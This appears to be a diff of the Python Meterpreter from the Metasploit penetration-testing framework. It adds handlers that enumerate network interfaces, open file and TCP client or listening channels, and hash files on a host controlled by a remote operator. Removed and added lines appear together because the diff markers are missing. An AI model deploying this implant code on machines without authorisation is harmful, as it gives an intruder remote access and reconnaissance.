("unused1", ctypes.c_uint16),
|
||||
("wType", ctypes.c_uint16)]
|
||||
|
||||
class PROCESSENTRY32(ctypes.Structure):
|
||||
_fields_ = [("dwSize", ctypes.c_uint32),
|
||||
("cntUsage", ctypes.c_uint32),
|
||||
("th32ProcessID", ctypes.c_uint32),
|
||||
("th32DefaultHeapID", ctypes.c_void_p),
|
||||
("th32ModuleID", ctypes.c_uint32),
|
||||
("cntThreads", ctypes.c_uint32),
|
||||
("th32ParentProcessID", ctypes.c_uint32),
|
||||
("thPriClassBase", ctypes.c_int32),
|
||||
("dwFlags", ctypes.c_uint32),
|
||||
("szExeFile", (ctypes.c_char * 260))]
|
||||
|
||||
class SID_AND_ATTRIBUTES(ctypes.Structure):
|
||||
_fields_ = [("Sid", ctypes.c_void_p),
|
||||
("Attributes", ctypes.c_uint32)]
|
||||
|
||||
class SYSTEM_INFO(ctypes.Structure):
|
||||
_fields_ = [("wProcessorArchitecture", ctypes.c_uint16),
|
||||
("wReserved", ctypes.c_uint16),
|
||||
("dwPageSize", ctypes.c_uint32),
|
||||
("lpMinimumApplicationAddress", ctypes.c_void_p),
|
||||
("lpMaximumApplicationAddress", ctypes.c_void_p),
|
||||
("dwActiveProcessorMask", ctypes.c_uint32),
|
||||
("dwNumberOfProcessors", ctypes.c_uint32),
|
||||
("dwProcessorType", ctypes.c_uint32),
|
||||
("dwAllocationGranularity", ctypes.c_uint32),
|
||||
("wProcessorLevel", ctypes.c_uint16),
|
||||
("wProcessorRevision", ctypes.c_uint16)]
|
||||
|
||||
#
|
||||
# Linux Structures
|
||||
#
|
||||
class IFADDRMSG(ctypes.Structure):
|
||||
_fields_ = [("family", ctypes.c_uint8),
|
||||
("prefixlen", ctypes.c_uint8),
|
||||
("flags", ctypes.c_uint8),
|
||||
("scope", ctypes.c_uint8),
|
||||
("index", ctypes.c_int32)]
|
||||
|
||||
class IFINFOMSG(ctypes.Structure):
|
||||
_fields_ = [("family", ctypes.c_uint8),
|
||||
("pad", ctypes.c_int8),
|
||||
("type", ctypes.c_uint16),
|
||||
("index", ctypes.c_int32),
|
||||
("flags", ctypes.c_uint32),
|
||||
("chagen", ctypes.c_uint32)]
|
||||
|
||||
class NLMSGHDR(ctypes.Structure):
|
||||
_fields_ = [("len", ctypes.c_uint32),
|
||||
("type", ctypes.c_uint16),
|
||||
("flags", ctypes.c_uint16),
|
||||
("seq", ctypes.c_uint32),
|
||||
("pid", ctypes.c_uint32)]
|
||||
|
||||
class RTATTR(ctypes.Structure):
|
||||
_fields_ = [("len", ctypes.c_uint16),
|
||||
("type", ctypes.c_uint16)]
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
|
@ -135,16 +292,21 @@ TLV_TYPE_SEARCH_RESULTS = TLV_META_TYPE_GROUP | 1233
|
|||
##
|
||||
TLV_TYPE_HOST_NAME = TLV_META_TYPE_STRING | 1400
|
||||
TLV_TYPE_PORT = TLV_META_TYPE_UINT | 1401
|
||||
TLV_TYPE_INTERFACE_MTU = TLV_META_TYPE_UINT | 1402
|
||||
TLV_TYPE_INTERFACE_FLAGS = TLV_META_TYPE_STRING | 1403
|
||||
TLV_TYPE_INTERFACE_INDEX = TLV_META_TYPE_UINT | 1404
|
||||
|
||||
TLV_TYPE_SUBNET = TLV_META_TYPE_RAW | 1420
|
||||
TLV_TYPE_NETMASK = TLV_META_TYPE_RAW | 1421
|
||||
TLV_TYPE_GATEWAY = TLV_META_TYPE_RAW | 1422
|
||||
TLV_TYPE_NETWORK_ROUTE = TLV_META_TYPE_GROUP | 1423
|
||||
TLV_TYPE_IP_PREFIX = TLV_META_TYPE_UINT | 1424
|
||||
|
||||
TLV_TYPE_IP = TLV_META_TYPE_RAW | 1430
|
||||
TLV_TYPE_MAC_ADDRESS = TLV_META_TYPE_RAW | 1431
|
||||
TLV_TYPE_MAC_NAME = TLV_META_TYPE_STRING | 1432
|
||||
TLV_TYPE_NETWORK_INTERFACE = TLV_META_TYPE_GROUP | 1433
|
||||
TLV_TYPE_IP6_SCOPE = TLV_META_TYPE_RAW | 1434
|
||||
|
||||
TLV_TYPE_SUBNET_STRING = TLV_META_TYPE_STRING | 1440
|
||||
TLV_TYPE_NETMASK_STRING = TLV_META_TYPE_STRING | 1441
|
||||
|
@ -290,9 +452,39 @@ ERROR_FAILURE = 1
|
|||
# errors.
|
||||
ERROR_CONNECTION_ERROR = 10000
|
||||
|
||||
# Windows Constants
|
||||
GAA_FLAG_SKIP_ANYCAST = 0x0002
|
||||
GAA_FLAG_SKIP_MULTICAST = 0x0004
|
||||
GAA_FLAG_INCLUDE_PREFIX = 0x0010
|
||||
GAA_FLAG_SKIP_DNS_SERVER = 0x0080
|
||||
|
||||
WIN_AF_INET = 2
|
||||
WIN_AF_INET6 = 23
|
||||
|
||||
# Linux Constants
|
||||
RTM_GETLINK = 18
|
||||
RTM_GETADDR = 22
|
||||
RTM_GETROUTE = 26
|
||||
|
||||
IFLA_ADDRESS = 1
|
||||
IFLA_BROADCAST = 2
|
||||
IFLA_IFNAME = 3
|
||||
IFLA_MTU = 4
|
||||
|
||||
IFA_ADDRESS = 1
|
||||
IFA_LABEL = 3
|
||||
|
||||
def calculate_32bit_netmask(bits):
|
||||
if bits == 32:
|
||||
return 0xffffffff
|
||||
return ((0xffffffff << (32-(bits%32))) & 0xffffffff)
|
||||
|
||||
def cstruct_unpack(structure, raw_data):
|
||||
if not isinstance(structure, ctypes.Structure):
|
||||
structure = structure()
|
||||
ctypes.memmove(ctypes.byref(structure), raw_data, ctypes.sizeof(structure))
|
||||
return structure
|
||||
|
||||
def get_stat_buffer(path):
|
||||
si = os.stat(path)
|
||||
rdev = 0
|
||||
|
@ -310,20 +502,30 @@ def get_stat_buffer(path):
|
|||
st_buf += struct.pack('<II', blksize, blocks)
|
||||
return st_buf
|
||||
|
||||
def inet_pton(family, address):
|
||||
if hasattr(socket, 'inet_pton'):
|
||||
return socket.inet_pton(family, address)
|
||||
elif has_windll:
|
||||
WSAStringToAddress = ctypes.windll.ws2_32.WSAStringToAddressA
|
||||
lpAddress = (ctypes.c_ubyte * 28)()
|
||||
lpAddressLength = ctypes.c_int(ctypes.sizeof(lpAddress))
|
||||
if WSAStringToAddress(address, family, None, ctypes.byref(lpAddress), ctypes.byref(lpAddressLength)) != 0:
|
||||
raise Exception('WSAStringToAddress failed')
|
||||
if family == socket.AF_INET:
|
||||
return ''.join(map(chr, lpAddress[4:8]))
|
||||
elif family == socket.AF_INET6:
|
||||
return ''.join(map(chr, lpAddress[8:24]))
|
||||
raise Exception('no suitable inet_pton functionality is available')
|
||||
def netlink_request(req_type):
|
||||
# See RFC 3549
|
||||
NLM_F_REQUEST = 0x0001
|
||||
NLM_F_ROOT = 0x0100
|
||||
NLMSG_ERROR = 0x0002
|
||||
NLMSG_DONE = 0x0003
|
||||
|
||||
sock = socket.socket(socket.AF_NETLINK, socket.SOCK_RAW, socket.NETLINK_ROUTE)
|
||||
sock.bind((os.getpid(), 0))
|
||||
seq = int(time.time())
|
||||
nlmsg = struct.pack('IHHIIB15x', 32, req_type, (NLM_F_REQUEST | NLM_F_ROOT), seq, 0, socket.AF_UNSPEC)
|
||||
sfd = os.fdopen(sock.fileno(), 'w+b')
|
||||
sfd.write(nlmsg)
|
||||
responses = []
|
||||
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
|
||||
while response.type != NLMSG_DONE:
|
||||
if response.type == NLMSG_ERROR:
|
||||
break
|
||||
response_data = sfd.read(response.len - 16)
|
||||
responses.append(response_data)
|
||||
response = cstruct_unpack(NLMSGHDR, sfd.read(ctypes.sizeof(NLMSGHDR)))
|
||||
sfd.close()
|
||||
sock.close()
|
||||
return responses
|
||||
|
||||
def resolve_host(hostname, family):
|
||||
address_info = socket.getaddrinfo(hostname, 0, family, socket.SOCK_DGRAM, socket.IPPROTO_UDP)[0]
|
||||
|
@ -338,8 +540,17 @@ def windll_GetNativeSystemInfo():
|
|||
ctypes.windll.kernel32.GetNativeSystemInfo(ctypes.byref(sysinfo))
|
||||
return {0:PROCESS_ARCH_X86, 6:PROCESS_ARCH_IA64, 9:PROCESS_ARCH_X64}.get(sysinfo.wProcessorArchitecture, PROCESS_ARCH_UNKNOWN)
|
||||
|
||||
def windll_GetVersion():
|
||||
if not has_windll:
|
||||
return None
|
||||
dwVersion = ctypes.windll.kernel32.GetVersion()
|
||||
dwMajorVersion = (dwVersion & 0x000000ff)
|
||||
dwMinorVersion = ((dwVersion & 0x0000ff00) >> 8)
|
||||
dwBuild = ((dwVersion & 0xffff0000) >> 16)
|
||||
return type('Version', (object,), dict(dwMajorVersion = dwMajorVersion, dwMinorVersion = dwMinorVersion, dwBuild = dwBuild))
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_create_stdapi_fs_file(request, response):
|
||||
def channel_open_stdapi_fs_file(request, response):
|
||||
fpath = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
fmode = packet_get_tlv(request, TLV_TYPE_FILE_MODE)
|
||||
if fmode:
|
||||
|
@ -353,7 +564,7 @@ def channel_create_stdapi_fs_file(request, response):
|
|||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_create_stdapi_net_tcp_client(request, response):
|
||||
def channel_open_stdapi_net_tcp_client(request, response):
|
||||
host = packet_get_tlv(request, TLV_TYPE_PEER_HOST)['value']
|
||||
port = packet_get_tlv(request, TLV_TYPE_PEER_PORT)['value']
|
||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST)
|
||||
|
@ -373,7 +584,19 @@ def channel_create_stdapi_net_tcp_client(request, response):
|
|||
pass
|
||||
if not connected:
|
||||
return ERROR_CONNECTION_ERROR, response
|
||||
channel_id = meterpreter.add_channel(sock)
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketClient(sock))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def channel_open_stdapi_net_tcp_server(request, response):
|
||||
local_host = packet_get_tlv(request, TLV_TYPE_LOCAL_HOST).get('value', '0.0.0.0')
|
||||
local_port = packet_get_tlv(request, TLV_TYPE_LOCAL_PORT)['value']
|
||||
server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
server_sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
server_sock.bind((local_host, local_port))
|
||||
server_sock.listen(socket.SOMAXCONN)
|
||||
channel_id = meterpreter.add_channel(MeterpreterSocketServer(server_sock))
|
||||
response += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
|
@ -675,12 +898,12 @@ def stdapi_fs_ls(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_md5(request, response):
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||
import md5
|
||||
m = md5.new()
|
||||
else:
|
||||
try:
|
||||
import hashlib
|
||||
m = hashlib.md5()
|
||||
except ImportError:
|
||||
import md5
|
||||
m = md5.new()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
|
@ -722,12 +945,12 @@ def stdapi_fs_separator(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_fs_sha1(request, response):
|
||||
if sys.version_info[0] == 2 and sys.version_info[1] < 5:
|
||||
import sha1
|
||||
m = sha1.new()
|
||||
else:
|
||||
try:
|
||||
import hashlib
|
||||
m = hashlib.sha1()
|
||||
except ImportError:
|
||||
import sha
|
||||
m = sha.new()
|
||||
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
|
||||
m.update(open(path, 'rb').read())
|
||||
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
|
||||
|
@ -740,6 +963,235 @@ def stdapi_fs_stat(request, response):
|
|||
response += tlv_pack(TLV_TYPE_STAT_BUF, st_buf)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_config_get_interfaces(request, response):
|
||||
if hasattr(socket, 'AF_NETLINK'):
|
||||
interfaces = stdapi_net_config_get_interfaces_via_netlink()
|
||||
elif has_osxsc:
|
||||
interfaces = stdapi_net_config_get_interfaces_via_osxsc()
|
||||
elif has_windll:
|
||||
interfaces = stdapi_net_config_get_interfaces_via_windll()
|
||||
else:
|
||||
return ERROR_FAILURE, response
|
||||
for iface_info in interfaces:
|
||||
iface_tlv = ''
|
||||
iface_tlv += tlv_pack(TLV_TYPE_MAC_NAME, iface_info.get('name', 'Unknown'))
|
||||
iface_tlv += tlv_pack(TLV_TYPE_MAC_ADDRESS, iface_info.get('hw_addr', '\x00\x00\x00\x00\x00\x00'))
|
||||
if 'mtu' in iface_info:
|
||||
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_MTU, iface_info['mtu'])
|
||||
if 'flags' in iface_info:
|
||||
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_FLAGS, iface_info['flags'])
|
||||
iface_tlv += tlv_pack(TLV_TYPE_INTERFACE_INDEX, iface_info['index'])
|
||||
for address in iface_info.get('addrs', []):
|
||||
iface_tlv += tlv_pack(TLV_TYPE_IP, address[1])
|
||||
if isinstance(address[2], (int, long)):
|
||||
iface_tlv += tlv_pack(TLV_TYPE_IP_PREFIX, address[2])
|
||||
else:
|
||||
iface_tlv += tlv_pack(TLV_TYPE_NETMASK, address[2])
|
||||
response += tlv_pack(TLV_TYPE_NETWORK_INTERFACE, iface_tlv)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_netlink():
|
||||
rta_align = lambda l: l+3 & ~3
|
||||
iface_flags = {
|
||||
0x0001: 'UP',
|
||||
0x0002: 'BROADCAST',
|
||||
0x0008: 'LOOPBACK',
|
||||
0x0010: 'POINTTOPOINT',
|
||||
0x0040: 'RUNNING',
|
||||
0x0100: 'PROMISC',
|
||||
0x1000: 'MULTICAST'
|
||||
}
|
||||
iface_flags_sorted = iface_flags.keys()
|
||||
# Dictionaries don't maintain order
|
||||
iface_flags_sorted.sort()
|
||||
interfaces = {}
|
||||
|
||||
responses = netlink_request(RTM_GETLINK)
|
||||
for res_data in responses:
|
||||
iface = cstruct_unpack(IFINFOMSG, res_data)
|
||||
iface_info = {'index':iface.index}
|
||||
flags = []
|
||||
for flag in iface_flags_sorted:
|
||||
if (iface.flags & flag):
|
||||
flags.append(iface_flags[flag])
|
||||
iface_info['flags'] = ' '.join(flags)
|
||||
cursor = ctypes.sizeof(IFINFOMSG)
|
||||
while cursor < len(res_data):
|
||||
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||
at_len = attribute.len
|
||||
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||
cursor += rta_align(at_len)
|
||||
|
||||
if attribute.type == IFLA_ADDRESS:
|
||||
iface_info['hw_addr'] = attr_data
|
||||
elif attribute.type == IFLA_IFNAME:
|
||||
iface_info['name'] = attr_data
|
||||
elif attribute.type == IFLA_MTU:
|
||||
iface_info['mtu'] = struct.unpack('<I', attr_data)[0]
|
||||
interfaces[iface.index] = iface_info
|
||||
|
||||
responses = netlink_request(RTM_GETADDR)
|
||||
for res_data in responses:
|
||||
iface = cstruct_unpack(IFADDRMSG, res_data)
|
||||
if not iface.family in (socket.AF_INET, socket.AF_INET6):
|
||||
continue
|
||||
iface_info = interfaces.get(iface.index, {})
|
||||
cursor = ctypes.sizeof(IFADDRMSG)
|
||||
while cursor < len(res_data):
|
||||
attribute = cstruct_unpack(RTATTR, res_data[cursor:])
|
||||
at_len = attribute.len
|
||||
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
||||
cursor += rta_align(at_len)
|
||||
|
||||
if attribute.type == IFA_ADDRESS:
|
||||
nm_bits = iface.prefixlen
|
||||
if iface.family == socket.AF_INET:
|
||||
netmask = struct.pack('!I', calculate_32bit_netmask(nm_bits))
|
||||
else:
|
||||
if nm_bits >= 96:
|
||||
netmask = struct.pack('!iiiI', -1, -1, -1, calculate_32bit_netmask(nm_bits))
|
||||
elif nm_bits >= 64:
|
||||
netmask = struct.pack('!iiII', -1, -1, calculate_32bit_netmask(nm_bits), 0)
|
||||
elif nm_bits >= 32:
|
||||
netmask = struct.pack('!iIII', -1, calculate_32bit_netmask(nm_bits), 0, 0)
|
||||
else:
|
||||
netmask = struct.pack('!IIII', calculate_32bit_netmask(nm_bits), 0, 0, 0)
|
||||
addr_list = iface_info.get('addrs', [])
|
||||
addr_list.append((iface.family, attr_data, netmask))
|
||||
iface_info['addrs'] = addr_list
|
||||
elif attribute.type == IFA_LABEL:
|
||||
iface_info['name'] = attr_data
|
||||
interfaces[iface.index] = iface_info
|
||||
return interfaces.values()
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_osxsc():
|
||||
ds = osxsc.SCDynamicStoreCreate(None, 'GetInterfaceInformation', None, None)
|
||||
entities = []
|
||||
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv4))
|
||||
entities.append(osxsc.SCDynamicStoreKeyCreateNetworkInterfaceEntity(None, osxsc.kSCDynamicStoreDomainState, osxsc.kSCCompAnyRegex, osxsc.kSCEntNetIPv6))
|
||||
patterns = osxsc.CFArrayCreate(None, entities, len(entities), osxsc.kCFTypeArrayCallBacks)
|
||||
values = osxsc.SCDynamicStoreCopyMultiple(ds, None, patterns)
|
||||
interfaces = {}
|
||||
for key, value in values.items():
|
||||
iface_name = key.split('/')[3]
|
||||
iface_info = interfaces.get(iface_name, {})
|
||||
iface_info['name'] = str(iface_name)
|
||||
if key.endswith('IPv4'):
|
||||
family = socket.AF_INET
|
||||
elif key.endswith('IPv6'):
|
||||
family = socket.AF_INET6
|
||||
else:
|
||||
continue
|
||||
iface_addresses = iface_info.get('addrs', [])
|
||||
for idx in range(len(value['Addresses'])):
|
||||
if family == socket.AF_INET:
|
||||
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), inet_pton(family, value['SubnetMasks'][idx])))
|
||||
else:
|
||||
iface_addresses.append((family, inet_pton(family, value['Addresses'][idx]), value['PrefixLength'][idx]))
|
||||
iface_info['addrs'] = iface_addresses
|
||||
interfaces[iface_name] = iface_info
|
||||
for iface_ref in osxsc.SCNetworkInterfaceCopyAll():
|
||||
iface_name = osxsc.SCNetworkInterfaceGetBSDName(iface_ref)
|
||||
if not iface_name in interfaces:
|
||||
iface_type = osxsc.SCNetworkInterfaceGetInterfaceType(iface_ref)
|
||||
if not iface_type in ['Ethernet', 'IEEE80211']:
|
||||
continue
|
||||
interfaces[iface_name] = {'name': str(iface_name)}
|
||||
iface_info = interfaces[iface_name]
|
||||
mtu = osxsc.SCNetworkInterfaceCopyMTU(iface_ref, None, None, None)[1]
|
||||
iface_info['mtu'] = mtu
|
||||
hw_addr = osxsc.SCNetworkInterfaceGetHardwareAddressString(iface_ref)
|
||||
if hw_addr:
|
||||
hw_addr = hw_addr.replace(':', '')
|
||||
hw_addr = hw_addr.decode('hex')
|
||||
iface_info['hw_addr'] = hw_addr
|
||||
ifnames = interfaces.keys()
|
||||
ifnames.sort()
|
||||
for iface_name, iface_info in interfaces.items():
|
||||
iface_info['index'] = ifnames.index(iface_name)
|
||||
return interfaces.values()
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_windll():
|
||||
iphlpapi = ctypes.windll.iphlpapi
|
||||
if not hasattr(iphlpapi, 'GetAdaptersAddresses'):
|
||||
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||
Flags = (GAA_FLAG_INCLUDE_PREFIX | GAA_FLAG_SKIP_DNS_SERVER | GAA_FLAG_SKIP_MULTICAST | GAA_FLAG_SKIP_ANYCAST)
|
||||
AdapterAddresses = ctypes.c_void_p()
|
||||
SizePointer = ctypes.c_ulong()
|
||||
SizePointer.value = 0
|
||||
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, AdapterAddresses, ctypes.byref(SizePointer))
|
||||
AdapterAddressesData = (ctypes.c_uint8 * SizePointer.value)()
|
||||
iphlpapi.GetAdaptersAddresses(socket.AF_UNSPEC, Flags, None, ctypes.byref(AdapterAddressesData), ctypes.byref(SizePointer))
|
||||
AdapterAddresses = ctypes.string_at(ctypes.byref(AdapterAddressesData), SizePointer.value)
|
||||
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
|
||||
if AdapterAddresses.u.s.Length <= 72:
|
||||
return stdapi_net_config_get_interfaces_via_windll_mib()
|
||||
win_version = windll_GetVersion()
|
||||
interfaces = []
|
||||
pAdapterAddresses = ctypes.byref(AdapterAddresses)
|
||||
while pAdapterAddresses:
|
||||
AdapterAddresses = cstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
|
||||
pAdapterAddresses = AdapterAddresses.Next
|
||||
pFirstPrefix = AdapterAddresses.FirstPrefix
|
||||
iface_info = {}
|
||||
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
||||
if AdapterAddresses.PhysicalAddressLength:
|
||||
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
||||
iface_info['name'] = str(ctypes.wstring_at(AdapterAddresses.Description))
|
||||
iface_info['mtu'] = AdapterAddresses.Mtu
|
||||
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
||||
while pUniAddr:
|
||||
UniAddr = cstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
|
||||
pUniAddr = UniAddr.Next
|
||||
address = cstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
|
||||
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
|
||||
continue
|
||||
prefix = 0
|
||||
if win_version.dwMajorVersion >= 6:
|
||||
prefix = UniAddr.OnLinkPrefixLength
|
||||
elif pFirstPrefix:
|
||||
ip_adapter_prefix = 'QPPIL'
|
||||
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
|
||||
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
|
||||
iface_addresses = iface_info.get('addrs', [])
|
||||
if address.sa_family == socket.AF_INET:
|
||||
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
|
||||
else:
|
||||
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
|
||||
iface_info['addrs'] = iface_addresses
|
||||
interfaces.append(iface_info)
|
||||
return interfaces
|
||||
|
||||
def stdapi_net_config_get_interfaces_via_windll_mib():
|
||||
iphlpapi = ctypes.windll.iphlpapi
|
||||
table = (ctypes.c_uint8 * (ctypes.sizeof(MIB_IPADDRROW) * 33))()
|
||||
pdwSize = ctypes.c_ulong()
|
||||
pdwSize.value = ctypes.sizeof(table)
|
||||
if (iphlpapi.GetIpAddrTable(ctypes.byref(table), ctypes.byref(pdwSize), True) != 0):
|
||||
return None
|
||||
interfaces = []
|
||||
table_data = ctypes.string_at(table, pdwSize.value)
|
||||
entries = struct.unpack('I', table_data[:4])[0]
|
||||
table_data = table_data[4:]
|
||||
for i in xrange(entries):
|
||||
addrrow = cstruct_unpack(MIB_IPADDRROW, table_data)
|
||||
ifrow = MIB_IFROW()
|
||||
ifrow.dwIndex = addrrow.dwIndex
|
||||
if iphlpapi.GetIfEntry(ctypes.byref(ifrow)) != 0:
|
||||
continue
|
||||
iface_info = {}
|
||||
table_data = table_data[ctypes.sizeof(MIB_IPADDRROW):]
|
||||
iface_info['index'] = addrrow.dwIndex
|
||||
iface_info['addrs'] = [(socket.AF_INET, struct.pack('<I', addrrow.dwAddr), struct.pack('<I', addrrow.dwMask))]
|
||||
if ifrow.dwPhysAddrLen:
|
||||
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(ifrow.bPhysAddr), ifrow.dwPhysAddrLen)
|
||||
if ifrow.dwDescrLen:
|
||||
iface_info['name'] = ifrow.bDescr
|
||||
iface_info['mtu'] = ifrow.dwMtu
|
||||
interfaces.append(iface_info)
|
||||
return interfaces
|
||||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_resolve_host(request, response):
|
||||
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
||||
|
@ -776,9 +1228,10 @@ def stdapi_net_resolve_hosts(request, response):
|
|||
|
||||
@meterpreter.register_function
|
||||
def stdapi_net_socket_tcp_shutdown(request, response):
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)
|
||||
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
||||
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
||||
channel = meterpreter.channels[channel_id]
|
||||
channel.close()
|
||||
channel.shutdown(how)
|
||||
return ERROR_SUCCESS, response
|
||||
|
||||
@meterpreter.register_function_windll
|
||||
|
|
|
@ -1,6 +1,12 @@
|
|||
#!/usr/bin/python
|
||||
import code
|
||||
import ctypes
|
||||
try:
|
||||
import ctypes
|
||||
except:
|
||||
has_windll = False
|
||||
else:
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
import os
|
||||
import random
|
||||
import select
|
||||
|
@ -10,14 +16,12 @@ import subprocess
|
|||
import sys
|
||||
import threading
|
||||
|
||||
has_windll = hasattr(ctypes, 'windll')
|
||||
|
||||
#
|
||||
# Constants
|
||||
#
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
PACKET_TYPE_REQUEST = 0
|
||||
PACKET_TYPE_RESPONSE = 1
|
||||
PACKET_TYPE_PLAIN_REQUEST = 10
|
||||
PACKET_TYPE_PLAIN_RESPONSE = 11
|
||||
|
||||
ERROR_SUCCESS = 0
|
||||
|
@ -25,74 +29,103 @@ ERROR_SUCCESS = 0
|
|||
ERROR_FAILURE = 1
|
||||
|
||||
CHANNEL_CLASS_BUFFERED = 0
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
CHANNEL_CLASS_STREAM = 1
|
||||
CHANNEL_CLASS_DATAGRAM = 2
|
||||
CHANNEL_CLASS_POOL = 3
|
||||
CHANNEL_CLASS_POOL = 3
|
||||
|
||||
#
|
||||
# TLV Meta Types
|
||||
#
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_NONE = ( 0 )
|
||||
TLV_META_TYPE_STRING = (1 << 16)
|
||||
TLV_META_TYPE_UINT = (1 << 17)
|
||||
TLV_META_TYPE_RAW = (1 << 18)
|
||||
TLV_META_TYPE_BOOL = (1 << 19)
|
||||
TLV_META_TYPE_COMPRESSED = (1 << 29)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
TLV_META_TYPE_GROUP = (1 << 30)
|
||||
TLV_META_TYPE_COMPLEX = (1 << 31)
|
||||
# not defined in original
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
TLV_META_TYPE_MASK = (1<<31)+(1<<30)+(1<<29)+(1<<19)+(1<<18)+(1<<17)+(1<<16)
|
||||
|
||||
#
|
||||
# TLV base starting points
|
||||
#
|
||||
TLV_RESERVED = 0
|
||||
TLV_RESERVED = 0
|
||||
TLV_EXTENSIONS = 20000
|
||||
TLV_USER = 40000
|
||||
TLV_TEMP = 60000
|
||||
TLV_USER = 40000
|
||||
TLV_TEMP = 60000
|
||||
|
||||
#
|
||||
# TLV Specific Types
|
||||
#
|
||||
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
|
||||
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
|
||||
